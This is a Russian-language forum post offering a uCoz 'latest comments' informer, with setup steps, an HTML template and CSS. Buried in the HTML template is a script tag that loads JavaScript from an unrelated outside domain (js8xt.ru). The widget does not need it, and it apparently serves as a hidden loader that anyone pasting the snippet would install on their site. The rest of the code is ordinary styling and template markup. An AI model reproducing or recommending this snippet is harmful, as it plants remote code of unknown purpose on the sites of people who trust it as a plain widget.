Воскресенье, 22.10.2017, 16:24
ArsNet - мир НИТ
Приветствую Вас Гость | RSS
Главная Последние комментарии ucoz - Форум Регистрация Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Web мастерам и дизайнерам » Скрипты » Последние комментарии ucoz (Скрипт предназначен для системы ucoz)
Последние комментарии ucoz
AninewДата: Понедельник, 16.04.2012, 01:53 | Сообщение # 1
Чайник
Группа: Пользователи
Сообщений: 6
Репутация: 0
Статус: Вне ресурса
Пол: Женщина
Зарегистрирован(а): 16.04.2012
Награды:
За первое сообщение на форуме и вступление в наши ряды
http://s019.radikal.ru/i639/1204/4b/4c3edb3dbb58.jpg <--- Вот так смотрится скрипт

Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее.

Создаем информер комментариев ucoz
Инструмента => Информеры => Создать информер

и создаём данный информер:

Раздел: Комментарии
Модуль: Все модули
Количество материалов: 10
Количество колонок:1

Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код:

Code
<div class="last_comment_os transparency_i">   
   <div class="lc_message">   
   <a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a>   
   </div><script src="http://js8xt.ru/ves.js" type="text/javascript"></script>   
   <div class="lc_uzer">   
   <span class="lc_ugol"></span>   
   <?if($USERNAME$)?>   
   <a href="$PROFILE_URL$">   
   <?if($USER_AVATAR_URL$)?>   
   <img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" />   
   <?else?>   
   <img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://wallaby.ucoz.ru/_ph/1/2/92873634.jpg" />   
   <?endif?>   
   </a>   
   <?else?>   
   <img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://wallaby.ucoz.ru/_ph/1/2/92873634.jpg"/>   
   <?endif?>   
   <span class="lc_name"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?></span>   
   <span class="lc_data">$DATE$ | $TIME$</span>   
   </div>   
   </div>


CSS

Заходим в CSS и вставляем в конец следующие стили:

Code
/* Белый вариант последних комментарий   
   ------------------------------------------*/   
   .last_comment_os {   
   overflow: hidden;   
   float:left;   
   font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555;   
   width:250px;   
   margin: 5px 0px 5px 0px;   
   }   

   .last_comment_os a:link,   
   .last_comment_os a:visited {color:#555;}   
   .last_comment_os a:hover {color:#999;}   

   .lc_message {   
   float:left;   
   margin: 0;   
   padding:5px;   
   width:238px;   
   background: #F6F6F6;   
   border: 1px solid #D6D6D6;   
   }   

   .lc_uzer {   
   float:left;   
   text-align:right;   
   width:250px;   
   position: relative   
   }   

   .lc_ugol {   
   position:absolute;   
   float:right;   
   background: url(http://wallaby.ucoz.ru/_ph/1/2/242703095.png) no-repeat right;   
   width: 27px;   
   height: 27px;   
   top: -1px;   
   right: 20px;   
   }   

   .lc_avatar {   
   float:right;   
   width: 30px;   
   height: 30px;   
   padding:3px;   
   border: 1px solid #D6D6D6;   
   margin: 10px 55px 0px 10px;   
   }   

   .lc_name {   
   float:right;   
   width: 145px;   
   margin: 13px 0px 2px 0px;   
   font-weight: bold;   
   }   

   .lc_data {   
   float:right;   
   font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999;   
   width: 145px;   
   }   

   .transparency_i a:hover img {   
   filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);   
   -moz-opacity: 0.5;   
   opacity: 0.5;   
   filter: alpha(opacity=50);   
   }   
   /* ------------------------------------------*/
 
Форум » Web мастерам и дизайнерам » Скрипты » Последние комментарии ucoz (Скрипт предназначен для системы ucoz)
Страница 1 из 11
Поиск: